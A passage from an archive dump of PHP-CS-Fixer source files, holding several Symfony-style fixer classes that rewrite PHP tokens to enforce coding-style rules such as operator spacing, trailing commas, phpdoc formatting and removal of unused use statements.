 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;
use Symfony\CS\Utils;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class NoEmptyLinesAfterPhpdocsFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        static $forbiddenSuccessors = array(
            T_DOC_COMMENT,
            T_COMMENT,
            T_WHITESPACE,
            T_RETURN,
            T_THROW,
            T_GOTO,
            T_CONTINUE,
            T_BREAK,
        );

        $tokens = Tokens::fromCode($content);

        foreach ($tokens->findGivenKind(T_DOC_COMMENT) as $index => $token) {
            // get the next non-whitespace token inc comments, provided
            // that there is whitespace between it and the current token
            $next = $tokens->getNextNonWhitespace($index);
            if ($index + 2 === $next && false === $tokens[$next]->isGivenKind($forbiddenSuccessors)) {
                $this->fixWhitespace($tokens[$index + 1]);
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'There should not be blank lines between docblock and the documented element.';
    }

    /**
     * Cleanup a whitespace token.
     *
     * @param Token $token
     */
    private function fixWhitespace(Token $token)
    {
        $content = $token->getContent();
        // if there is more than one new line in the whitespace, then we need to fix it
        if (substr_count($content, "\n") > 1) {
            // the final bit of the whitespace must be the next statement's indentation
            $lines = Utils::splitLines($content);
            $token->setContent("\n".end($lines));
        }
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/IncludeFixer.php000066600000007426151456236460016666 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Sebastiaan Stok <s.stok@rollerscapes.net>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class IncludeFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        $includies = $this->findIncludies($tokens);
        $this->clearIncludies($tokens, $includies);

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Include and file path should be divided with a single space. File path should not be placed under brackets.';
    }

    private function clearIncludies(Tokens $tokens, array $includies)
    {
        foreach (array_reverse($includies) as $includy) {
            if ($includy['end']) {
                $tokens->removeLeadingWhitespace($includy['end']);
            }

            $braces = $includy['braces'];

            if ($braces) {
                $nextToken = $tokens[$tokens->getNextMeaningfulToken($braces['close'])];

                if ($nextToken->equals(';')) {
                    $tokens->removeLeadingWhitespace($braces['open']);
                    $tokens->removeTrailingWhitespace($braces['open']);
                    $tokens->removeLeadingWhitespace($braces['close']);
                    $tokens->removeTrailingWhitespace($braces['close']);

                    $tokens[$braces['open']] = new Token(array(T_WHITESPACE, ' '));
                    $tokens[$braces['close']]->clear();
                }
            }

            $nextIndex = $includy['begin'] + 1;
            $nextToken = $tokens[$nextIndex];

            while ($nextToken->isEmpty()) {
                $nextToken = $tokens[++$nextIndex];
            }

            if ($nextToken->isWhitespace()) {
                $nextToken->setContent(' ');
            } elseif ($braces) {
                $tokens->insertAt($includy['begin'] + 1, new Token(array(T_WHITESPACE, ' ')));
            }
        }
    }

    private function findIncludies(Tokens $tokens)
    {
        static $includyTokenKinds = array(T_REQUIRE, T_REQUIRE_ONCE, T_INCLUDE, T_INCLUDE_ONCE);

        $includies = array();

        foreach ($tokens->findGivenKind($includyTokenKinds) as $includyTokens) {
            foreach ($includyTokens as $index => $token) {
                $includy = array(
                    'begin' => $index,
                    'braces' => null,
                    'end' => $tokens->getNextTokenOfKind($index, array(';')),
                );

                $nextTokenIndex = $tokens->getNextMeaningfulToken($index);
                $nextToken = $tokens[$nextTokenIndex];

                if ($nextToken->equals('(')) {
                    // Don't remove braces when the statement is wrapped.
                    // Include is also legal as function parameter or condition statement but requires being wrapped then.
                    $braceCloseIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $nextTokenIndex);

                    if ($tokens[$tokens->getNextMeaningfulToken($braceCloseIndex)]->equals(';')) {
                        $includy['braces'] = array(
                            'open' => $nextTokenIndex,
                            'close' => $braceCloseIndex,
                        );
                    }
                }

                $includies[] = $includy;
            }
        }

        return $includies;
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/OperatorsSpacesFixer.php000066600000003607151456236460020415 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class OperatorsSpacesFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        for ($index = $tokens->count() - 1; $index >= 0; --$index) {
            if (!$tokens->isBinaryOperator($index)) {
                continue;
            }

            // skip `declare(foo ==bar)`
            $prevMeaningfulIndex = $tokens->getPrevMeaningfulToken($index);
            if ($tokens[$prevMeaningfulIndex]->isGivenKind(T_STRING)) {
                $prevMeaningfulIndex = $tokens->getPrevMeaningfulToken($prevMeaningfulIndex);
                if ($tokens[$prevMeaningfulIndex]->equals('(')) {
                    $prevMeaningfulIndex = $tokens->getPrevMeaningfulToken($prevMeaningfulIndex);
                    if ($tokens[$prevMeaningfulIndex]->isGivenKind(T_DECLARE)) {
                        continue;
                    }
                }
            }

            if (!$tokens[$index + 1]->isWhitespace()) {
                $tokens->insertAt($index + 1, new Token(array(T_WHITESPACE, ' ')));
            }

            if (!$tokens[$index - 1]->isWhitespace()) {
                $tokens->insertAt($index, new Token(array(T_WHITESPACE, ' ')));
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Binary operators should be surrounded by at least one space.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/ConcatWithoutSpacesFixer.php000066600000002464151456236460021232 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class ConcatWithoutSpacesFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);
        $whitespaces = array('whitespaces' => " \t");

        foreach ($tokens as $index => $token) {
            if ($token->equals('.')) {
                if (!$tokens[$tokens->getPrevNonWhitespace($index)]->isGivenKind(T_LNUMBER)) {
                    $tokens->removeLeadingWhitespace($index, $whitespaces);
                }

                if (!$tokens[$tokens->getNextNonWhitespace($index)]->isGivenKind(T_LNUMBER)) {
                    $tokens->removeTrailingWhitespace($index, $whitespaces);
                }
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Concatenation should be used without spaces.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/PhpdocTypeToVarFixer.php000066600000002503151456236460020325 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\DocBlock\DocBlock;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class PhpdocTypeToVarFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens->findGivenKind(T_DOC_COMMENT) as $token) {
            $doc = new DocBlock($token->getContent());
            $annotations = $doc->getAnnotationsOfType('type');

            if (empty($annotations)) {
                continue;
            }

            foreach ($annotations as $annotation) {
                $line = $doc->getLine($annotation->getStart());
                $line->setContent(str_replace('@type', '@var', $line->getContent()));
            }

            $token->setContent($doc->getContent());
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return '@type should always be written as @var.';
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/PreIncrementFixer.php000066600000006024151456236460017667 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Gregor Harlan <gharlan@web.de>
 */
class PreIncrementFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        for ($index = $tokens->count() - 1; 0 <= $index; --$index) {
            $token = $tokens[$index];

            if (!$token->isGivenKind(array(T_INC, T_DEC)) || !$tokens->isUnarySuccessorOperator($index)) {
                continue;
            }

            $nextToken = $tokens[$tokens->getNextMeaningfulToken($index)];
            if (!$nextToken->equalsAny(array(';', ')'))) {
                continue;
            }

            $startIndex = $this->findStart($tokens, $index);

            $prevToken = $tokens[$tokens->getPrevMeaningfulToken($startIndex)];
            if ($prevToken->equalsAny(array(';', '{', '}', array(T_OPEN_TAG)))) {
                $tokens->insertAt($startIndex, clone $token);
                $token->clear();
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Pre incrementation/decrementation should be used if possible.';
    }

    /**
     * @param Tokens $tokens
     * @param int    $index
     *
     * @return int
     */
    private function findStart(Tokens $tokens, $index)
    {
        do {
            $index = $tokens->getPrevMeaningfulToken($index);
            $token = $tokens[$index];

            $blockType = $tokens->detectBlockType($token);
            if (null !== $blockType && !$blockType['isStart']) {
                $index = $tokens->findBlockEnd($blockType['type'], $index, false);
                $token = $tokens[$index];
            }
        } while (!$token->equalsAny(array('$', array(T_VARIABLE))));

        $prevIndex = $tokens->getPrevMeaningfulToken($index);
        $prevToken = $tokens[$prevIndex];

        if ($prevToken->equals('$')) {
            $index = $prevIndex;
            $prevIndex = $tokens->getPrevMeaningfulToken($index);
            $prevToken = $tokens[$prevIndex];
        }

        if ($prevToken->isGivenKind(T_OBJECT_OPERATOR)) {
            return $this->findStart($tokens, $prevIndex);
        }

        if ($prevToken->isGivenKind(T_PAAMAYIM_NEKUDOTAYIM)) {
            $prevPrevIndex = $tokens->getPrevMeaningfulToken($prevIndex);
            if (!$tokens[$prevPrevIndex]->isGivenKind(T_STRING)) {
                return $this->findStart($tokens, $prevIndex);
            }

            $index = $tokens->getTokenNotOfKindSibling($prevIndex, -1, array(array(T_NS_SEPARATOR), array(T_STRING)));
            $index = $tokens->getNextMeaningfulToken($index);
        }

        return $index;
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/EmptyReturnFixer.php000066600000005032151456236460017570 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class EmptyReturnFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens->findGivenKind(T_RETURN) as $index => $token) {
            if ($this->needFixing($tokens, $index)) {
                $this->clear($tokens, $index);
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'A return statement wishing to return nothing should be simply "return".';
    }

    /**
     * Does the return statement located at a given index need fixing?
     *
     * @param Tokens $tokens
     * @param int    $index
     *
     * @return bool
     */
    private function needFixing(Tokens $tokens, $index)
    {
        $content = '';

        while (!$tokens[$index]->equals(';')) {
            $index = $tokens->getNextMeaningfulToken($index);
            $content .= $tokens[$index]->getContent();
        }

        $content = rtrim($content, ';');
        $content = ltrim($content, '(');
        $content = rtrim($content, ')');

        return 'null' === strtolower($content);
    }

    /**
     * Clear the return statement located at a given index.
     *
     * @param Tokens $tokens
     * @param int    $index
     */
    private function clear(Tokens $tokens, $index)
    {
        while (!$tokens[++$index]->equals(';')) {
            if ($this->shouldClearToken($tokens, $index)) {
                $tokens[$index]->clear();
            }
        }
    }

    /**
     * Should we clear the specific token?
     *
     * If the token is a comment, or is whitespace that is immediately before a
     * comment, then we'll leave it alone.
     *
     * @param Tokens $tokens
     * @param int    $index
     *
     * @return bool
     */
    private function shouldClearToken(Tokens $tokens, $index)
    {
        $token = $tokens[$index];

        if ($token->isComment()) {
            return false;
        }

        if ($token->isWhitespace() && $tokens[$index + 1]->isComment()) {
            return false;
        }

        return true;
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/PhpdocShortDescriptionFixer.php000066600000005433151456236460021740 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\DocBlock\DocBlock;
use Symfony\CS\DocBlock\Line;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class PhpdocShortDescriptionFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        foreach ($tokens->findGivenKind(T_DOC_COMMENT) as $token) {
            $doc = new DocBlock($token->getContent());
            $end = $this->findShortDescriptionEnd($doc->getLines());

            if (null !== $end) {
                $line = $doc->getLine($end);
                $content = rtrim($line->getContent());

                if (!$this->isCorrectlyFormatted($content)) {
                    $line->setContent($content.".\n");
                    $token->setContent($doc->getContent());
                }
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Phpdocs short descriptions should end in either a full stop, exclamation mark, or question mark.';
    }

    /**
     * Find the line number of the line containing the end of the short
     * description, if present.
     *
     * @param Line[] $lines
     *
     * @return int|null
     */
    private function findShortDescriptionEnd(array $lines)
    {
        $reachedContent = false;

        foreach ($lines as $index => $line) {
            // we went past a description, then hit a tag or blank line, so
            // the last line of the description must be the one before this one
            if ($reachedContent && ($line->containsATag() || !$line->containsUsefulContent())) {
                return $index - 1;
            }

            // no short description was found
            if ($line->containsATag()) {
                return;
            }

            // we've reached content, but need to check the next lines too
            // in case the short description is multi-line
            if ($line->containsUsefulContent()) {
                $reachedContent = true;
            }
        }
    }

    /**
     * Is the last line of the short description correctly formatted?
     *
     * @param string $content
     *
     * @return bool
     */
    private function isCorrectlyFormatted($content)
    {
        if (false !== strpos(strtolower($content), '{@inheritdoc}')) {
            return true;
        }

        return $content !== rtrim($content, '.。!?¡¿!?');
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/ShortBoolCastFixer.php000066600000003500151456236460020016 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

class ShortBoolCastFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);
        for ($index = count($tokens) - 1; $index > 1; --$index) {
            if ($tokens[$index]->equals('!')) {
                $index = $this->fixShortCast($tokens, $index);
            }
        }

        return $tokens->generateCode();
    }

    private function fixShortCast(Tokens $tokens, $index)
    {
        for ($i = $index - 1; $i > 1; --$i) {
            if ($tokens[$i]->equals('!')) {
                $this->fixShortCastToBoolCast($tokens, $i, $index);
                break;
            }

            if (!$tokens[$i]->isComment() && !$tokens[$i]->isWhitespace()) {
                break;
            }
        }

        return $i;
    }

    private function fixShortCastToBoolCast(Tokens $tokens, $start, $end)
    {
        for (; $start <= $end; ++$start) {
            if (!$tokens[$start]->isComment()) {
                $tokens[$start]->clear();
            }
        }

        $tokens->insertAt($start, new Token(array(T_BOOL_CAST, '(bool)')));
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Short cast bool using double exclamation mark should not be used.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // should be run before the SpacesCastFixer
        return -9;
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/MultilineArrayTrailingCommaFixer.php000066600000004223151456236460022703 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Sebastiaan Stok <s.stok@rollerscapes.net>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class MultilineArrayTrailingCommaFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);

        for ($index = $tokens->count() - 1; $index >= 0; --$index) {
            if ($tokens->isArray($index)) {
                $this->fixArray($tokens, $index);
            }
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'PHP multi-line arrays should have a trailing comma.';
    }

    private function fixArray(Tokens $tokens, $index)
    {
        if (!$tokens->isArrayMultiLine($index)) {
            return;
        }

        $startIndex = $index;

        if ($tokens[$startIndex]->isGivenKind(T_ARRAY)) {
            $startIndex = $tokens->getNextTokenOfKind($startIndex, array('('));
            $endIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_PARENTHESIS_BRACE, $startIndex);
        } else {
            $endIndex = $tokens->findBlockEnd(Tokens::BLOCK_TYPE_SQUARE_BRACE, $startIndex);
        }

        $beforeEndIndex = $tokens->getPrevMeaningfulToken($endIndex);
        $beforeEndToken = $tokens[$beforeEndIndex];

        // if there is some item between braces then add `,` after it
        if ($startIndex !== $beforeEndIndex && !$beforeEndToken->equalsAny(array(',', array(T_END_HEREDOC)))) {
            $tokens->insertAt($beforeEndIndex + 1, new Token(','));

            $endToken = $tokens[$endIndex];

            if (!$endToken->isComment() && !$endToken->isWhitespace()) {
                $tokens->ensureWhitespaceAtIndex($endIndex, 1, ' ');
            }
        }
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/PhpdocTypesFixer.php000066600000003452151456236460017540 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractPhpdocTypesFixer;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
final class PhpdocTypesFixer extends AbstractPhpdocTypesFixer
{
    /**
     * The types to process.
     *
     * @var string[]
     */
    private static $types = array(
        'array',
        'bool',
        'boolean',
        'callable',
        'double',
        'false',
        'float',
        'int',
        'integer',
        'mixed',
        'null',
        'object',
        'real',
        'resource',
        'self',
        'static',
        'string',
        'true',
        'void',
        '$this',
    );

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'The correct case must be used for standard PHP types in phpdoc.';
    }

    public function getPriority()
    {
        /*
         * Should be run before all other docblock fixers apart from the
         * phpdoc_to_comment and phpdoc_indent fixer to make sure all fixers
         * apply correct indentation to new code they add. This should run
         * before alignment of params is done since this fixer might change
         * the type and thereby un-aligning the params. We also must run before
         * the phpdoc_scalar_fixer so that it can make changes after us.
         */
        return 16;
    }

    /**
     * {@inheritdoc}
     */
    protected function normalize($type)
    {
        $lower = strtolower($type);

        if (in_array($lower, self::$types, true)) {
            return $lower;
        }

        return $type;
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/UnusedUseFixer.php000066600000017404151456236460017220 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class UnusedUseFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        $tokens = Tokens::fromCode($content);
        $useDeclarationsIndexes = $tokens->getImportUseIndexes();
        if (0 === count($useDeclarationsIndexes)) {
            return $tokens->generateCode();
        }

        $useDeclarations = $this->getNamespaceUseDeclarations($tokens, $useDeclarationsIndexes);
        $namespaceDeclarations = $this->getNamespaceDeclarations($tokens);
        $contentWithoutUseDeclarations = $this->generateCodeWithoutPartials($tokens, array_merge($namespaceDeclarations, $useDeclarations));
        $useUsages = $this->detectUseUsages($contentWithoutUseDeclarations, $useDeclarations);

        $this->removeUnusedUseDeclarations($tokens, $useDeclarations, $useUsages);
        $this->removeUsesInSameNamespace($tokens, $useDeclarations, $namespaceDeclarations);

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Unused use statements must be removed.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        // should be run after the MultipleUseFixer
        return -10;
    }

    /**
     * {@inheritdoc}
     */
    public function supports(\SplFileInfo $file)
    {
        // some fixtures are auto-generated by Symfony and may contain unused use statements
        if (false !== strpos($file, DIRECTORY_SEPARATOR.'Fixtures'.DIRECTORY_SEPARATOR)) {
            return false;
        }

        return true;
    }

    /**
     * @param string $content
     * @param array  $useDeclarations
     *
     * @return array
     */
    private function detectUseUsages($content, array $useDeclarations)
    {
        $usages = array();

        foreach ($useDeclarations as $shortName => $useDeclaration) {
            $usages[$shortName] = (bool) preg_match('/(?<![\$\\\\])\b'.preg_quote($shortName).'\b/i', $content);
        }

        return $usages;
    }

    /**
     * @param Tokens $tokens
     * @param array  $partials
     *
     * @return string
     */
    private function generateCodeWithoutPartials(Tokens $tokens, array $partials)
    {
        $content = '';

        foreach ($tokens as $index => $token) {
            $allowToAppend = true;

            foreach ($partials as $partial) {
                if ($partial['start'] <= $index && $index <= $partial['end']) {
                    $allowToAppend = false;
                    break;
                }
            }

            if ($allowToAppend) {
                $content .= $token->getContent();
            }
        }

        return $content;
    }

    private function getNamespaceDeclarations(Tokens $tokens)
    {
        $namespaces = array();

        foreach ($tokens as $index => $token) {
            if (!$token->isGivenKind(T_NAMESPACE)) {
                continue;
            }

            $declarationEndIndex = $tokens->getNextTokenOfKind($index, array(';', '{'));

            $namespaces[] = array(
                'name' => trim($tokens->generatePartialCode($index + 1, $declarationEndIndex - 1)),
                'start' => $index,
                'end' => $declarationEndIndex,
            );
        }

        return $namespaces;
    }

    private function getNamespaceUseDeclarations(Tokens $tokens, array $useIndexes)
    {
        $uses = array();

        foreach ($useIndexes as $index) {
            $declarationEndIndex = $tokens->getNextTokenOfKind($index, array(';', array(T_CLOSE_TAG)));
            $declarationContent = $tokens->generatePartialCode($index + 1, $declarationEndIndex - 1);
            if (
                false !== strpos($declarationContent, ',')    // ignore multiple use statements that should be split into few separate statements (for example: `use BarB, BarC as C;`)
                || false !== strpos($declarationContent, '{') // do not touch group use declarations until the logic of this is added (for example: `use some\a\{ClassD};`)
            ) {
                continue;
            }

            $declarationParts = preg_split('/\s+as\s+/i', $declarationContent);

            if (1 === count($declarationParts)) {
                $fullName = $declarationContent;
                $declarationParts = explode('\\', $fullName);
                $shortName = end($declarationParts);
                $aliased = false;
            } else {
                list($fullName, $shortName) = $declarationParts;
                $declarationParts = explode('\\', $fullName);
                $aliased = $shortName !== end($declarationParts);
            }

            $shortName = trim($shortName);

            $uses[$shortName] = array(
                'fullName' => trim($fullName),
                'shortName' => $shortName,
                'aliased' => $aliased,
                'start' => $index,
                'end' => $declarationEndIndex,
            );
        }

        return $uses;
    }

    private function removeUnusedUseDeclarations(Tokens $tokens, array $useDeclarations, array $useUsages)
    {
        foreach ($useDeclarations as $shortName => $useDeclaration) {
            if (!$useUsages[$shortName]) {
                $this->removeUseDeclaration($tokens, $useDeclaration);
            }
        }
    }

    private function removeUseDeclaration(Tokens $tokens, array $useDeclaration)
    {
        for ($index = $useDeclaration['end'] - 1; $index >= $useDeclaration['start']; --$index) {
            $tokens->clearTokenAndMergeSurroundingWhitespace($index);
        }

        if ($tokens[$useDeclaration['end']]->equals(';')) {
            $tokens[$useDeclaration['end']]->clear();
        }

        $prevToken = $tokens[$useDeclaration['start'] - 1];

        if ($prevToken->isWhitespace()) {
            $prevToken->setContent(rtrim($prevToken->getContent(), " \t"));
        }

        if (!isset($tokens[$useDeclaration['end'] + 1])) {
            return;
        }

        $nextToken = $tokens[$useDeclaration['end'] + 1];

        if ($nextToken->isWhitespace()) {
            $content = ltrim($nextToken->getContent(), " \t");

            if ($content && "\n" === $content[0]) {
                $content = substr($content, 1);
            }

            $nextToken->setContent($content);
        }

        if ($prevToken->isWhitespace() && $nextToken->isWhitespace()) {
            $nextToken->override(array(T_WHITESPACE, $prevToken->getContent().$nextToken->getContent(), $prevToken->getLine()));
            $prevToken->clear();
        }
    }

    private function removeUsesInSameNamespace(Tokens $tokens, array $useDeclarations, array $namespaceDeclarations)
    {
        // safeguard for files with multiple namespaces to avoid breaking them until we support this case
        if (1 !== count($namespaceDeclarations)) {
            return;
        }

        $namespace = $namespaceDeclarations[0]['name'];
        $nsLength = strlen($namespace.'\\');

        foreach ($useDeclarations as $useDeclaration) {
            if ($useDeclaration['aliased']) {
                continue;
            }

            if (0 !== strpos($useDeclaration['fullName'], $namespace.'\\')) {
                continue;
            }

            $partName = substr($useDeclaration['fullName'], $nsLength);

            if (false === strpos($partName, '\\')) {
                $this->removeUseDeclaration($tokens, $useDeclaration);
            }
        }
    }
}
php-cs-fixer/Symfony/CS/Fixer/Symfony/PhpdocToCommentFixer.php000066600000013244151456236460020341 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Symfony;

use Symfony\CS\AbstractFixer;
use Symfony\CS\Tokenizer\Token;
use Symfony\CS\Tokenizer\Tokens;

/**
 * @author Ceeram <ceeram@cakephp.org>
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class PhpdocToCommentFixer extends AbstractFixer
{
    /**
     * {@inheritdoc}
     */
    public function fix(\SplFileInfo $file, $content)
    {
        static $controlStructures = array(
            T_FOREACH,
            T_IF,
            T_SWITCH,
            T_WHILE,
            T_FOR,
        );

        $tokens = Tokens::fromCode($content);

        foreach ($tokens->findGivenKind(T_DOC_COMMENT) as $index => $token) {
            $nextIndex = $tokens->getNextMeaningfulToken($index);
            $nextToken = null !== $nextIndex ? $tokens[$nextIndex] : null;

            if (null === $nextToken || $nextToken->equals('}')) {
                $tokens->overrideAt($index, array(T_COMMENT, '/*'.ltrim($token->getContent(), '/*'), $token->getLine()));
                continue;
            }

            if ($this->isStructuralElement($nextToken)) {
                continue;
            }

            if ($nextToken->isGivenKind($controlStructures) && $this->isValidControl($tokens, $token, $nextIndex)) {
                continue;
            }

            if ($nextToken->isGivenKind(T_VARIABLE) && $this->isValidVariable($tokens, $token, $nextIndex)) {
                continue;
            }

            if ($nextToken->isGivenKind(T_LIST) && $this->isValidList($tokens, $token, $nextIndex)) {
                continue;
            }

            // First docblock after open tag can be file-level docblock, so its left as is.
            $prevIndex = $tokens->getPrevMeaningfulToken($index);
            if ($tokens[$prevIndex]->isGivenKind(array(T_OPEN_TAG, T_NAMESPACE))) {
                continue;
            }

            $tokens->overrideAt($index, array(T_COMMENT, '/*'.ltrim($token->getContent(), '/*'), $token->getLine()));
        }

        return $tokens->generateCode();
    }

    /**
     * {@inheritdoc}
     */
    public function getDescription()
    {
        return 'Docblocks should only be used on structural elements.';
    }

    /**
     * {@inheritdoc}
     */
    public function getPriority()
    {
        /*
         * Should be run before all other docblock fixers so that these fixers
         * don't touch doc comments which are meant to be converted to regular
         * comments.
         */
        return 25;
    }

    /**
     * Check if token is a structural element.
     *
     * @see https://github.com/phpDocumentor/fig-standards/blob/master/proposed/phpdoc.md#3-definitions
     *
     * @param Token $token
     *
     * @return bool
     */
    private function isStructuralElement(Token $token)
    {
        static $skip = array(
            T_PRIVATE,
            T_PROTECTED,
            T_PUBLIC,
            T_FUNCTION,
            T_ABSTRACT,
            T_CONST,
            T_NAMESPACE,
            T_REQUIRE,
